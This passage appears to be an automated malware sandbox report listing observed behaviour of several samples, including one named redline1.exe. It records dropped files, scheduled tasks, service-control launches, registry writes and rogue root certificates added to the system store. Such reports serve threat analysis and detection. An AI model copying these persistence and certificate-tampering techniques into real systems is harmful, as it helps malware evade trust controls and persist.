| File opened for modification | C:\Program Files (x86)\GameSyncLink\installm.bat | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File opened for modification | C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File created | C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File opened for modification | C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File created | C:\Program Files (x86)\1715653757_0\360TS_Setup.exe | C:\Users\Admin\Pictures\360TS_Setup.exe | N/A |
| File opened for modification | C:\Program Files (x86)\1715653757_0\360TS_Setup.exe | C:\Users\Admin\Pictures\360TS_Setup.exe | N/A |
| File created | C:\Program Files (x86)\GameSyncLink\installg.bat | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\wusa.lock | C:\Windows\system32\wusa.exe | N/A |
| File created | C:\Windows\Tasks\bbmnnUCIPYyTQrzMQJ.job | C:\Windows\SysWOW64\schtasks.exe | N/A |
| File created | C:\Windows\Tasks\axplons.job | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| File opened for modification | C:\Windows\rss | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| File created | C:\Windows\rss\csrss.exe | C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe | N/A |
| File created | C:\Windows\wusa.lock | C:\Windows\system32\wusa.exe | N/A |
| File created | C:\Windows\rss\csrss.exe | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| File opened for modification | C:\Windows\rss | C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe | N/A |
| File created | C:\Windows\Logs\CBS\CbsPersist_20240514022840.cab | C:\Windows\system32\makecab.exe | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
Enumerates physical storage devices
Program crash
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Users\Admin\AppData\Local\Temp\7zS5080.tmp\Install.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Users\Admin\AppData\Local\Temp\7zS5080.tmp\Install.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 | C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
Modifies system certificate store
| Description | Indicator | Process | Target |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 | C:\Windows\rss\csrss.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 | C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0f000000010000002000000020d814fd5fc477ce74425e441d8f5b48d38db6f1dd119441bc35777689bd094c030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b0640200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e003000000000000b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900000020000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 | C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
